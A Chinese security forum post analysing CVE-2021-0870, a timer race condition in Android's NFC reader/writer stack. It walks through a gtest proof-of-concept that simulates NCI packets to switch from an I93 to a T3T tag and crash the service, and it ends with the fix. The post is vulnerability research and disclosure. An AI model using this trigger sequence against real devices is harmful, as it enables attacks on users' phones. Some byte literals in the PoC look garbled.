首页
社区
课程
招聘
[原创]AndroidNFC条件竟用RCE漏洞分析-CVE-2021-0870
发表于: 2021-12-31 19:46 30340

[原创]AndroidNFC条件竟用RCE漏洞分析-CVE-2021-0870

2021-12-31 19:46
30340

NFC在人们的日常生活中扮演了重要角色,已经成为移动设备不可或缺的组件,NFC和蓝牙类似,都是利用无线射频技术来实现设备之间的通信.因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。

CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中显示已被修复https://source.android.com/security/bulletin/2021-10-01 漏洞成因是RW_SetActivatedTagType 可以通过将NFC的TCB(tag control block)置零的方式实现在不同tag之间切换,原因是TCB所在的内存区域是固定不变的,被不同tag复用.当TCB被置零后即表示上一状态已被禁用.但是新tag激活后,上一个状态的超时检测定时器仍然在工作,并且仍然引用TCB里的数据和指针,然而此时TCB已经被置零.随后新状态启动自己的定时器重写TCB中相应偏移的数据时,会产生条件竞争

Reader/Write模式:简称R/W 和NFC Tag/NFC reader有关

Peer-to-Peer模式:简称P2P 它支持两个NFC设备进行交互

NFC Card Emulation(CE) : 他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能

漏洞存在于Reader/Write模式(R/W)

NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件.其中Tag是一种用于存储数据的被动式RFID tag.它自身不包含电源,而是依赖其他组件,如NFC reader通过线圈里的电磁感应给他供电,然后通过某些射频通信协议来存取NFC tag里的数据.

NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间,也包括R/W模式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record

R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据结构如下,他是多个record组合而成

单个record的结构如下

本文不对详细的数据结构的各个字段做出解释

漏洞存在于使用NDEF数据包通信的过程中

NFC Forum 定义了4种tag,分别为Type1,2,3,4 . 他们之前的区别在于占用存储空间的大小和使用底层协议不同.但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了"android.nfc.tech"包用来处理不同类型的tag,下表列出了该包里的几个类,这些类分别处理不同类型的tag. 例如,NDEF 是用来处理Type1-4的类,

漏洞代码中出现的T1T,T2T...TT,I93,是R/W模式下,探测,读写NDEF数据包的具体实现方法,是一种技术标准.比如I93是基于 ISO 15693 的实现方法,T1T基于NFC-A , 也就是ISO 14443-3A

基于Google的测试框架gtest编写了一个集成测试文件,自动化测试框架从TEST调用poc代码:

构造poc 思路大致是 先让系统处于i93模式 然后发读数据请求 发完以后马上让从i93切换到t3t 然后就崩溃

接下来把poc拆成几个部分逐一分析

第一部分代码是

NFA_Init(&entry_funcs)用于初始化NFA的控制块.控制块的作用类似Windows中的PEB结构体

NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数,poc中定义了一个entry_funcs回调函数表,通过NFA_Init中的NFC_Init函数将entry_funcs回调函数表注册到HAL层.直到NFC被禁用前这个函数指针数组都不会被释放.entry_funcs如下:

和在内核模块中给设备设置回调函数相似,entry_funcs相当于file_operation结构体.

entry_funcs里用很多Fake开头的回调函数重载了默认函数,然后把他塞进CallbackTracker这个类,这样做的好处是

1.函数重载可以对系统默认的回调函数进行二次包装.实现Hook功能.比如后面会看到,加入了线程同步的功能

2.只通过一个自定义的类实现所有函数的调用.让代码结构更加整洁

接着调用NFA_Enable,他调用的几个关键函数是

NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal

NFA(NFC For Android)是安卓系统中NFC的实现. NFA_Enable用来使能安卓NFC,调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务,打开了NCI的传输渠道,重置了NFC 控制器,初始化整个NFC系统,他是初始化最重要的函数,一般只在系统启动时调用一次,这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境.

nfa_sys_sendmsg函数用来发送GKI (General Kernel Interface)消息,

GKI_send_event将event从一个task发送给另一个task. 任务之间使用event数据结构的数据包,经安卓的HwBinder进行消息传递.Hwbinder是谷歌专门为供应商设计的进程间通信框架,独立于安卓系统的binder存在,是从8.0以后引入的新机制.

NFA_Enable执行完后,除了测试框架调用Test的主线程外,进程中会多出两个线程,这两个线程就是两个task,可近似理解为一个是NFCC,另一个充当客户端,这两个线程之间互相发数据包交互.作为服务端的task维护了一个命令队列,里面存放要被执行的命令,通过nfc_ncif_check_cmd_queue去检查队列里有没有命令,如果有就去执行.nfc_task是这个事件处理消息的主循环.环解析命令事件并执行相应的回调函数.代码如下, 前一个if半部分负责处理初始化,后一个if是主循环

第二部分代码如下所示

SimulatePacketArrival是poc调用频率最高的函数,模拟了从task之间数据交互的过程 .

task之间使用NCI数据包通信,NCI数据包的格式简要概述为

头部,共3字节

头部后面跟实际数据,如下所示

SimulatePacketArrival如何构造数据包呢? 以它第一次被调用为例

对比他的函数原型

可知mt->NCI_MT_NTF , pbf-> 0 , gid->NCI_GID_CORE , opcode->NCI_MSG_CORE_RESET , data->reset_core.data() , size->reset_core.size() , std::vector<uint8_t> reset_core -> {0x1, 0x29, 0x20};

先构造前三个Octect组成头部,然后在末尾插入数据

接着调用datacallback函数发送数据给另一个task.

每一次SimulatePacketArrival调用后面都有一个代码块,例如

reset_done_cv是一个条件变量,条件变量是C++11引入的一种同步机制.调用reset_done_cv.wait时会将线程挂起,直到其他线程调用notify是才解除阻塞继续执行.合理运用条件变量可以实现不同线程之间的同步.

比如reset_done_cv解除阻塞的时机是在调用FakeWrite的时候,调用栈是

nfc_ncif_check_cmd_queue函数会调用HAL_WRITE(p_buf)函数发数据给HAL.虽然从调用栈看不出FakeWrite实际就是HAL_WRITE.但我们之前重载了 HAL_WRITE的函数指针所以HAL_WRITE实际就是FakeWrite

因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断

符合条件就会解除调用reset_done_cv.notify_one()阻塞.这里重载HAL函数指针的优势就显现出来了.FakeWrite 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步

代码是

将NFC开启,并进入discovery模式

代码是

NFA_RwReadNDef()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,

下面是I93收到读请求后定时器被启动的调用栈

代码是

这段代码关闭了NFC,目的是从i93顺利切换到T3T

part5中从I93 tag中读取了数据,并且启动定时器,我们必须在定时器过期前立即调用RW_SetActivatedTagType通知NFCC终止立即I93 Tag,并激活T3T Tag.

就调用了RW_SetActivatedTagType

RW_SetActivatedTagType 代码为

原来从一个状态切换到另一个状态的方法是调用memset(&rw_cb.tcb, 0, sizeof(tRW_TCB))将控制块全部置零清空,虽然看起来没错,但是把控制块清空并不等价于将上个状态的上下文被全部重置,他忽略了I93tag之前启动的定时器此时仍在工作,但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据

TCB是被复用的,我们使用memset而非free,说明状态切换后,这块内存仍然存放的是TCB,所以此时系统里会出现两个定时器改写同一地址的情景

以下是T3T tag下定时器向TCB中写入数据时代码:

汇编是

调用栈是

i93定时器仍存在于定时器链表中,t3t被激活后里面的数据被t3t定时器破坏.当t3t定时器也被插入链表头部时会产生段错误

崩溃现场:

对应的源代码是while那行

下面这个调用栈并非poc的而是漏洞被发现时的,放在这仅供参考

只要在切换到下一个tag之前,将上一个tag的定时器关闭即可

安卓系统高危的漏洞近几年有多发于硬件设备的趋势.我们会持续关注该领域最新的漏洞利用,并呼吁各大厂商及时更新安全补丁.

悄悄说一句,现在是2021年12月31日,距离明年只剩下4个小时.祝大家新年快乐~~

 
 
 
 
 
 
 
 
 
 
 
 
IsoDep Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag.
MifareClassic Provides access to MIFARE Classic properties and I/O operations on a Tag.
MifareUltralight Provides access to MIFARE Ultralight properties and I/O operations on a Tag.
Ndef Provides access to NDEF content and operations on a Tag.
NdefFormatable Provide access to NDEF format operations on a Tag.
NfcA Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag.
NfcB Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag.
NfcBarcode Provides access to tags containing just a barcode.
NfcF Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag.
NfcV Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag.
 
TEST(NfcIntegrationTest, test_mifare_state_bug) {
  CallbackTracker tracker;
  g_callback_tracker = &tracker;
 
  NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
  theInstance.Initialize();
 
  NFA_Init(&entry_funcs);
  NFA_Enable(nfa_dm_callback, nfa_conn_callback);
  usleep(5000);
 
  std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());
 
  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }
 
  NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
 
  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();
 
  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }
 
  std::vector<uint8_t> init_core = {0x00xa, 0x30xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());
 
  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);
 
  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }
 
  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());
 
  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }
  std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
                                      NFC_DISCOVERY_TYPE_POLL_V,
                                      static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
  for (int i = 0; i < 27; i++) {
    activate_rf.push_back(0x6);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_rf.data(), activate_rf.size());
  {
    std::unique_lock<std::mutex> activated_lock(cv_mutex);
    activated_cv.wait(activated_lock);
  }
 
  NFA_RwReadNDef();
 
  {
    std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
    i93_detect_cv.wait(i93_detect_lock);
  }
 
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());
 
  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());
 
  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }
 
  std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());
 
  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }
 
  NFA_Disable(true);
 
  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }
}
TEST(NfcIntegrationTest, test_mifare_state_bug) {
  CallbackTracker tracker;
  g_callback_tracker = &tracker;
 
  NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
  theInstance.Initialize();
 
  NFA_Init(&entry_funcs);
  NFA_Enable(nfa_dm_callback, nfa_conn_callback);
  usleep(5000);
 
  std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());
 
  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }
 
  NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
 
  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();
 
  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }
 
  std::vector<uint8_t> init_core = {0x00xa, 0x30xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());
 
  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);
 
  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }
 
  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());
 
  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }
  std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
                                      NFC_DISCOVERY_TYPE_POLL_V,
                                      static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
  for (int i = 0; i < 27; i++) {
    activate_rf.push_back(0x6);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_rf.data(), activate_rf.size());
  {
    std::unique_lock<std::mutex> activated_lock(cv_mutex);
    activated_cv.wait(activated_lock);
  }
 
  NFA_RwReadNDef();
 
  {
    std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
    i93_detect_cv.wait(i93_detect_lock);
  }
 
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());
 
  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());
 
  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }
 
  std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());
 
  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }
 
  NFA_Disable(true);
 
  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }
}
 
CallbackTracker tracker;
 g_callback_tracker = &tracker;
 
 NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
 theInstance.Initialize();
 
 NFA_Init(&entry_funcs);
 NFA_Enable(nfa_dm_callback, nfa_conn_callback);
 usleep(5000);
CallbackTracker tracker;
 g_callback_tracker = &tracker;
 
 NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
 theInstance.Initialize();
 
 NFA_Init(&entry_funcs);
 NFA_Enable(nfa_dm_callback, nfa_conn_callback);
 usleep(5000);
 
tHAL_NFC_ENTRY entry_funcs = {
    .open = FakeOpen,
    .close = FakeClose,
    .core_initialized = FakeCoreInitialized,
    .write = FakeWrite,
    .prediscover = FakePrediscover,
    .control_granted = FakeControlGranted,
};
tHAL_NFC_ENTRY entry_funcs = {
    .open = FakeOpen,
    .close = FakeClose,
    .core_initialized = FakeCoreInitialized,
    .write = FakeWrite,
    .prediscover = FakePrediscover,
    .control_granted = FakeControlGranted,
};
 
 
 
 
 
 
 
 
 
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
  /* main loop */
  while (true) {
    event = GKI_wait(0xFFFF, 0);
...
    /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */
    if (event & NFC_TASK_EVT_TRANSPORT_READY) {
...
      nfc_set_state(NFC_STATE_CORE_INIT);
      nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
    }
    if (event & NFC_MBOX_EVT_MASK) {
      /* Process all incoming NCI messages */
      while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) {
        free_buf = true;
        /* Determine the input message type. */
        switch (p_msg->event & NFC_EVT_MASK) {
          case BT_EVT_TO_NFC_NCI:
            free_buf = nfc_ncif_process_event(p_msg);
            break;
          case BT_EVT_TO_START_TIMER:
            /* Start nfc_task 1-sec resolution timer */
            GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true);
            break;
          case BT_EVT_TO_START_QUICK_TIMER:
            /* Quick-timer is required for LLCP */
            GKI_start_timer(
                NFC_QUICK_TIMER_ID,
                ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true);
            break;
          case BT_EVT_TO_NFC_MSGS:
            nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg);
            break;
          default:
            DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
                "nfc_task: unhandle mbox message, event=%04x", p_msg->event);
            break;
        }
        if (free_buf) {
          GKI_freebuf(p_msg);
        }
      }
    }
...
}
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
  /* main loop */
  while (true) {
    event = GKI_wait(0xFFFF, 0);
...
    /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */
    if (event & NFC_TASK_EVT_TRANSPORT_READY) {
...
      nfc_set_state(NFC_STATE_CORE_INIT);
      nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
    }
    if (event & NFC_MBOX_EVT_MASK) {
      /* Process all incoming NCI messages */
      while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) {
        free_buf = true;
        /* Determine the input message type. */
        switch (p_msg->event & NFC_EVT_MASK) {
          case BT_EVT_TO_NFC_NCI:
            free_buf = nfc_ncif_process_event(p_msg);
            break;
          case BT_EVT_TO_START_TIMER:
            /* Start nfc_task 1-sec resolution timer */
            GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true);
            break;
          case BT_EVT_TO_START_QUICK_TIMER:
            /* Quick-timer is required for LLCP */
            GKI_start_timer(
                NFC_QUICK_TIMER_ID,
                ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true);
            break;
          case BT_EVT_TO_NFC_MSGS:
            nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg);
            break;
          default:
            DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
                "nfc_task: unhandle mbox message, event=%04x", p_msg->event);
            break;
        }
        if (free_buf) {
          GKI_freebuf(p_msg);
        }
      }
    }
...
}
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
g_callback_tracker->SimulatePacketArrival(
    NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
    reset_core.size());
 
{
  std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
  reset_done_cv.wait(reset_done_lock);
}
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
g_callback_tracker->SimulatePacketArrival(
    NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
    reset_core.size());
 
{
  std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
  reset_done_cv.wait(reset_done_lock);
}
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-1-9 17:10 被r0Cat编辑 ,原因:
收藏
免费 9
支持
分享
最新回复 (4)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
大佬这文章可难为到我了,找了好几个人来审
2022-1-4 16:26
0
雪    币: 8715
活跃值: (8619)
能力值: ( LV13,RANK:570 )
在线值:
发帖
回帖
粉丝
3
有毒 大佬这文章可难为到我了,找了好几个人来审[em_85]

辛苦有毒,辛苦各位大佬了

最后于 2022-1-5 12:50 被r0Cat编辑 ,原因:
2022-1-5 12:49
0
雪    币: 6573
活跃值: (3943)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
4
写的不错!
2022-3-3 11:07
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
2022-3-3 11:26
0
游客
登录 | 注册 方可回帖
返回
//